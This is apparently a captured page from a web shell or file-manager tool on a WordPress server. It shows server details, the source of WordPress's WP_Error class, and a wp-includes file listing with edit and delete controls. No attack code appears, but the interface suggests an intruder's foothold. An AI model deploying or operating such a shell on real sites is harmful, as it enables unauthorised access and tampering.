7.4.33 | Linux x86_64
Server128.199.10.0
Userwww-data (uid:33)
PHP7.4.33 (apache2handler)
Terminal
Upload
Files: /var/www/html/wp-includes
View: class-wp-error.php
<?php /** * WordPress Error API. * * @package WordPress */ /** * WordPress Error class. * * Container for checking for WordPress errors and error messages. Return * WP_Error and use is_wp_error() to check if this class is returned. Many * core WordPress functions pass this class in the event of an error and * if not handled properly will result in code errors. * * @since 2.1.0 */ #[AllowDynamicProperties] class WP_Error { /** * Stores the list of errors. * * @since 2.1.0 * @var array */ public $errors = array(); /** * Stores the most recently added data for each error code. * * @since 2.1.0 * @var array */ public $error_data = array(); /** * Stores previously added data added for error codes, oldest-to-newest by code. * * @since 5.6.0 * @var array[] */ protected $additional_data = array(); /** * Initializes the error. * * If `$code` is empty, the other parameters will be ignored. * When `$code` is not empty, `$message` will be used even if * it is empty. The `$data` parameter will be used only if it * is not empty. * * Though the class is constructed with a single error code and * message, multiple codes can be added using the `add()` method. * * @since 2.1.0 * * @param string|int $code Error code. * @param string $message Error message. * @param mixed $data Optional. Error data. Default empty string. */ public function __construct( $code = '', $message = '', $data = '' ) { if ( empty( $code ) ) { return; } $this->add( $code, $message, $data ); } /** * Retrieves all error codes. * * @since 2.1.0 * * @return array List of error codes, if available. */ public function get_error_codes() { if ( ! $this->has_errors() ) { return array(); } return array_keys( $this->errors ); } /** * Retrieves the first error code available. * * @since 2.1.0 * * @return string|int Empty string, if no error codes. */ public function get_error_code() { $codes = $this->get_error_codes(); if ( empty( $codes ) ) { return ''; } return $codes[0]; } /** * Retrieves all error messages, or the error messages for the given error code. * * @since 2.1.0 * * @param string|int $code Optional. Error code to retrieve the messages for. * Default empty string. * @return string[] Error strings on success, or empty array if there are none. */ public function get_error_messages( $code = '' ) { // Return all messages if no code specified. if ( empty( $code ) ) { $all_messages = array(); foreach ( (array) $this->errors as $code => $messages ) { $all_messages = array_merge( $all_messages, $messages ); } return $all_messages; } if ( isset( $this->errors[ $code ] ) ) { return $this->errors[ $code ]; } else { return array(); } } /** * Gets a single error message. * * This will get the first message available for the code. If no code is * given then the first code available will be used. * * @since 2.1.0 * * @param string|int $code Optional. Error code to retrieve the message for. * Default empty string. * @return string The error message. */ public function get_error_message( $code = '' ) { if ( empty( $code ) ) { $code = $this->get_error_code(); } $messages = $this->get_error_messages( $code ); if ( empty( $messages ) ) { return ''; } return $messages[0]; } /** * Retrieves the most recently added error data for an error code. * * @since 2.1.0 * * @param string|int $code Optional. Error code. Default empty string. * @return mixed Error data, if it exists. */ public function get_error_data( $code = '' ) { if ( empty( $code ) ) { $code = $this->get_error_code(); } if ( isset( $this->error_data[ $code ] ) ) { return $this->error_data[ $code ]; } } /** * Verifies if the instance contains errors. * * @since 5.1.0 * * @return bool If the instance contains errors. */ public function has_errors() { if ( ! empty( $this->errors ) ) { return true; } return false; } /** * Adds an error or appends an additional message to an existing error. * * @since 2.1.0 * * @param string|int $code Error code. * @param string $message Error message. * @param mixed $data Optional. Error data. Default empty string. */ public function add( $code, $message, $data = '' ) { $this->errors[ $code ][] = $message; if ( ! empty( $data ) ) { $this->add_data( $data, $code ); } /** * Fires when an error is added to a WP_Error object. * * @since 5.6.0 * * @param string|int $code Error code. * @param string $message Error message. * @param mixed $data Error data. Might be empty. * @param WP_Error $wp_error The WP_Error object. */ do_action( 'wp_error_added', $code, $message, $data, $this ); } /** * Adds data to an error with the given code. * * @since 2.1.0 * @since 5.6.0 Errors can now contain more than one item of error data. {@see WP_Error::$additional_data}. * * @param mixed $data Error data. * @param string|int $code Error code. */ public function add_data( $data, $code = '' ) { if ( empty( $code ) ) { $code = $this->get_error_code(); } if ( isset( $this->error_data[ $code ] ) ) { $this->additional_data[ $code ][] = $this->error_data[ $code ]; } $this->error_data[ $code ] = $data; } /** * Retrieves all error data for an error code in the order in which the data was added. * * @since 5.6.0 * * @param string|int $code Error code. * @return mixed[] Array of error data, if it exists. */ public function get_all_error_data( $code = '' ) { if ( empty( $code ) ) { $code = $this->get_error_code(); } $data = array(); if ( isset( $this->additional_data[ $code ] ) ) { $data = $this->additional_data[ $code ]; } if ( isset( $this->error_data[ $code ] ) ) { $data[] = $this->error_data[ $code ]; } return $data; } /** * Removes the specified error. * * This function removes all error messages associated with the specified * error code, along with any error data for that code. * * @since 4.1.0 * * @param string|int $code Error code. */ public function remove( $code ) { unset( $this->errors[ $code ] ); unset( $this->error_data[ $code ] ); unset( $this->additional_data[ $code ] ); } /** * Merges the errors in the given error object into this one. * * @since 5.6.0 * * @param WP_Error $error Error object to merge. */ public function merge_from( WP_Error $error ) { static::copy_errors( $error, $this ); } /** * Exports the errors in this object into the given one. * * @since 5.6.0 * * @param WP_Error $error Error object to export into. */ public function export_to( WP_Error $error ) { static::copy_errors( $this, $error ); } /** * Copies errors from one WP_Error instance to another. * * @since 5.6.0 * * @param WP_Error $from The WP_Error to copy from. * @param WP_Error $to The WP_Error to copy to. */ protected static function copy_errors( WP_Error $from, WP_Error $to ) { foreach ( $from->get_error_codes() as $code ) { foreach ( $from->get_error_messages( $code ) as $error_message ) { $to->add( $code, $error_message ); } foreach ( $from->get_all_error_data( $code ) as $data ) { $to->add_data( $data, $code ); } } } }
NameSizeActions
ID3/--
IXR/--
PHPMailer/--
Requests/--
SimplePie/--
Text/--
abilities-api/--
abilities-api.php23.8KView Edit Del
abilities.php7.8KView Edit Del
admin-bar.php38.4KView Edit Del
ai-client/--
ai-client.php2.5KView Edit Del
assets/--
atomlib.php11.9KView Edit Del
author-template.php19.4KView Edit Del
block-bindings/--
block-bindings.php7.3KView Edit Del
block-editor.php28.1KView Edit Del
block-i18n.json316BView Edit Del
block-patterns/--
block-patterns.php15.2KView Edit Del
block-supports/--
block-template-utils.php61.3KView Edit Del
block-template.php17.8KView Edit Del
blocks/--
blocks.php116.6KView Edit Del
bookmark-template.php12.5KView Edit Del
bookmark.php15.1KView Edit Del
build/--
cache-compat.php10.8KView Edit Del
cache.php13.2KView Edit Del
canonical.php33.8KView Edit Del
capabilities.php42.6KView Edit Del
category-template.php55.6KView Edit Del
category.php12.5KView Edit Del
certificates/--
class-IXR.php2.6KView Edit Del
class-avif-info.php29.3KView Edit Del
class-feed.php539BView Edit Del
class-http.php367BView Edit Del
class-json.php42.7KView Edit Del
class-oembed.php401BView Edit Del
class-phpass.php6.6KView Edit Del
class-phpmailer.php664BView Edit Del
class-pop3.php20.6KView Edit Del
class-requests.php2.2KView Edit Del
class-simplepie.php453BView Edit Del
class-smtp.php457BView Edit Del
class-snoopy.php36.8KView Edit Del
class-walker-category-dropdown.php2.4KView Edit Del
class-walker-category.php8.3KView Edit Del
class-walker-comment.php13.9KView Edit Del
class-walker-nav-menu.php11.8KView Edit Del
class-walker-page-dropdown.php2.6KView Edit Del
class-walker-page.php7.4KView Edit Del
class-wp-admin-bar.php17.6KView Edit Del
class-wp-ajax-response.php5.1KView Edit Del
class-wp-application-passwords.php16.7KView Edit Del
class-wp-block-bindings-registry.php8.1KView Edit Del
class-wp-block-bindings-source.php2.9KView Edit Del
class-wp-block-editor-context.php1.3KView Edit Del
class-wp-block-list.php4.6KView Edit Del
class-wp-block-metadata-registry.php11.6KView Edit Del
class-wp-block-parser-block.php2.5KView Edit Del
class-wp-block-parser-frame.php1.9KView Edit Del
class-wp-block-parser.php11.3KView Edit Del
class-wp-block-pattern-categories-registry.php4.3KView Edit Del
class-wp-block-patterns-registry.php10.1KView Edit Del
class-wp-block-processor.php68.3KView Edit Del
class-wp-block-styles-registry.php6.3KView Edit Del
class-wp-block-supports.php6.4KView Edit Del
class-wp-block-template.php2KView Edit Del
class-wp-block-templates-registry.php6.9KView Edit Del
class-wp-block-type-registry.php4.9KView Edit Del
class-wp-block-type.php16.8KView Edit Del
class-wp-block.php24.1KView Edit Del
class-wp-classic-to-block-menu-converter.php3.9KView Edit Del
class-wp-comment-query.php47.5KView Edit Del
class-wp-comment.php9.2KView Edit Del
class-wp-connector-registry.php14.1KView Edit Del
class-wp-customize-control.php25.5KView Edit Del
class-wp-customize-manager.php198.1KView Edit Del
class-wp-customize-nav-menus.php56.6KView Edit Del
class-wp-customize-panel.php10.5KView Edit Del
class-wp-customize-section.php10.9KView Edit Del
class-wp-customize-setting.php29.3KView Edit Del
class-wp-customize-widgets.php70.9KView Edit Del
class-wp-date-query.php35.1KView Edit Del
class-wp-dependencies.php16.7KView Edit Del
class-wp-dependency.php2.6KView Edit Del
class-wp-duotone.php40KView Edit Del
class-wp-editor.php70.5KView Edit Del
class-wp-embed.php15.5KView Edit Del
class-wp-error.php7.3KView Edit Del
class-wp-exception.php253BView Edit Del
class-wp-fatal-error-handler.php8KView Edit Del
class-wp-feed-cache-transient.php3.2KView Edit Del
class-wp-feed-cache.php969BView Edit Del
class-wp-hook.php16.2KView Edit Del
class-wp-http-cookie.php7.1KView Edit Del
class-wp-http-curl.php13KView Edit Del
class-wp-http-encoding.php6.5KView Edit Del
class-wp-http-ixr-client.php3.4KView Edit Del
class-wp-http-proxy.php5.8KView Edit Del
class-wp-http-requests-hooks.php2KView Edit Del
class-wp-http-requests-response.php4.1KView Edit Del
class-wp-http-response.php2.9KView Edit Del
class-wp-http-streams.php16.4KView Edit Del
class-wp-http.php40.7KView Edit Del
class-wp-icons-registry.php7.7KView Edit Del
class-wp-image-editor-gd.php20.2KView Edit Del
class-wp-image-editor-imagick.php36.1KView Edit Del
class-wp-image-editor.php17KView Edit Del
class-wp-list-util.php7.3KView Edit Del
class-wp-locale-switcher.php6.6KView Edit Del
class-wp-locale.php16.5KView Edit Del
class-wp-matchesmapregex.php1.8KView Edit Del
class-wp-meta-query.php29.8KView Edit Del
class-wp-metadata-lazyloader.php6.7KView Edit Del
class-wp-navigation-fallback.php9KView Edit Del
class-wp-network-query.php19.3KView Edit Del
class-wp-network.php12KView Edit Del
class-wp-object-cache.php17.1KView Edit Del
class-wp-oembed-controller.php6.7KView Edit Del
class-wp-oembed.php30.9KView Edit Del
class-wp-paused-extensions-storage.php4.9KView Edit Del
class-wp-phpmailer.php4.2KView Edit Del
class-wp-plugin-dependencies.php24.6KView Edit Del
class-wp-post-type.php30KView Edit Del
class-wp-post.php6.3KView Edit Del
class-wp-query.php159.5KView Edit Del
class-wp-recovery-mode-cookie-service.php6.7KView Edit Del
class-wp-recovery-mode-email-service.php10.9KView Edit Del
class-wp-recovery-mode-key-service.php4.8KView Edit Del
class-wp-recovery-mode-link-service.php3.4KView Edit Del
class-wp-recovery-mode.php11.2KView Edit Del
class-wp-rewrite.php62.2KView Edit Del
class-wp-role.php2.5KView Edit Del
class-wp-roles.php9.1KView Edit Del
class-wp-script-modules.php39.6KView Edit Del
class-wp-scripts.php35.9KView Edit Del
class-wp-session-tokens.php7.1KView Edit Del
class-wp-simplepie-file.php3.5KView Edit Del
class-wp-simplepie-sanitize-kses.php1.9KView Edit Del
class-wp-site-query.php30.7KView Edit Del
class-wp-site.php7.3KView Edit Del
class-wp-speculation-rules.php7.4KView Edit Del
class-wp-styles.php13KView Edit Del
class-wp-tax-query.php19.1KView Edit Del
class-wp-taxonomy.php18.1KView Edit Del
class-wp-term-query.php39.8KView Edit Del
class-wp-term.php5.1KView Edit Del
class-wp-text-diff-renderer-inline.php979BView Edit Del
class-wp-text-diff-renderer-table.php18.5KView Edit Del
class-wp-textdomain-registry.php10.2KView Edit Del
class-wp-theme-json-data.php1.8KView Edit Del
class-wp-theme-json-resolver.php34.9KView Edit Del
class-wp-theme-json-schema.php7.2KView Edit Del
class-wp-theme-json.php169.6KView Edit Del
class-wp-theme.php64.2KView Edit Del
class-wp-token-map.php27.9KView Edit Del
class-wp-url-pattern-prefixer.php4.7KView Edit Del
class-wp-user-meta-session-tokens.php2.9KView Edit Del
class-wp-user-query.php43.1KView Edit Del
class-wp-user-request.php2.3KView Edit Del
class-wp-user.php22.5KView Edit Del
class-wp-walker.php13KView Edit Del
class-wp-widget-factory.php3.3KView Edit Del
class-wp-widget.php18KView Edit Del
class-wp-xmlrpc-server.php210KView Edit Del
class-wp.php25.8KView Edit Del
class-wpdb.php115.9KView Edit Del
class.wp-dependencies.php373BView Edit Del
class.wp-scripts.php343BView Edit Del
class.wp-styles.php338BView Edit Del
collaboration/--
collaboration.php2.1KView Edit Del
comment-template.php100.8KView Edit Del
comment.php130.9KView Edit Del
compat-utf8.php19.1KView Edit Del
compat.php15.7KView Edit Del
connectors.php23.5KView Edit Del
cron.php43.9KView Edit Del
css/--
customize/--
date.php400BView Edit Del
default-constants.php11.1KView Edit Del
default-filters.php36.5KView Edit Del
default-widgets.php2.2KView Edit Del
deprecated.php189.4KView Edit Del
embed-template.php338BView Edit Del
embed.php38KView Edit Del
error-protection.php4KView Edit Del
feed-atom-comments.php5.4KView Edit Del
feed-atom.php3KView Edit Del
feed-rdf.php2.6KView Edit Del
feed-rss.php1.2KView Edit Del
feed-rss2-comments.php4KView Edit Del
feed-rss2.php3.7KView Edit Del
feed.php24.6KView Edit Del
fonts/--
fonts.php9.6KView Edit Del
formatting.php346.4KView Edit Del
functions.php283.5KView Edit Del
functions.wp-scripts.php20KView Edit Del
functions.wp-styles.php8.5KView Edit Del
general-template.php170.8KView Edit Del
global-styles-and-settings.php20.3KView Edit Del
html-api/--
http.php26.6KView Edit Del
https-detection.php5.7KView Edit Del
https-migration.php4.6KView Edit Del
images/--
interactivity-api/--
js/--
kses.php80.6KView Edit Del
l10n/--
l10n.php69.7KView Edit Del
link-template.php156.4KView Edit Del
load.php55.2KView Edit Del
locale.php162BView Edit Del
media-template.php61.8KView Edit Del
media.php218.5KView Edit Del
meta.php65.2KView Edit Del
ms-blogs.php25.7KView Edit Del
ms-default-constants.php4.8KView Edit Del
ms-default-filters.php6.5KView Edit Del
ms-deprecated.php21.2KView Edit Del
ms-files.php2.8KView Edit Del
ms-functions.php89.7KView Edit Del
ms-load.php19.6KView Edit Del
ms-network.php3.7KView Edit Del
ms-settings.php4.1KView Edit Del
ms-site.php40.8KView Edit Del
nav-menu-template.php25.4KView Edit Del
nav-menu.php43.2KView Edit Del
option.php102.6KView Edit Del
php-ai-client/--
php-compat/--
pluggable-deprecated.php6.2KView Edit Del
pluggable.php124.6KView Edit Del
plugin.php35.6KView Edit Del
pomo/--
post-formats.php6.9KView Edit Del
post-template.php67KView Edit Del
post-thumbnail-template.php10.6KView Edit Del
post.php289.6KView Edit Del
query.php36.2KView Edit Del
registration-functions.php200BView Edit Del
registration.php200BView Edit Del
rest-api/--
rest-api.php98.5KView Edit Del
revision.php30KView Edit Del
rewrite.php19KView Edit Del
robots-template.php5.1KView Edit Del
rss-functions.php255BView Edit Del
rss.php22.7KView Edit Del
script-loader.php159.3KView Edit Del
script-modules.php11.7KView Edit Del
session.php258BView Edit Del
shortcodes.php23.5KView Edit Del
sitemaps/--
sitemaps.php3.2KView Edit Del
sodium_compat/--
speculative-loading.php8.4KView Edit Del
spl-autoload-compat.php441BView Edit Del
style-engine/--
style-engine.php7.4KView Edit Del
taxonomy.php173KView Edit Del
template-canvas.php544BView Edit Del
template-loader.php4.2KView Edit Del
template.php36KView Edit Del
theme-compat/--
theme-i18n.json1.8KView Edit Del
theme-previews.php2.8KView Edit Del
theme-templates.php4KView Edit Del
theme.json8.8KView Edit Del
theme.php131.5KView Edit Del
update.php37.4KView Edit Del
user.php174.6KView Edit Del
utf8.php7.1KView Edit Del
vars.php6.5KView Edit Del
version.php1.1KView Edit Del
view-transitions.php602BView Edit Del
widgets/--
widgets.php69.2KView Edit Del
wp-db.php445BView Edit Del
wp-diff.php799BView Edit Del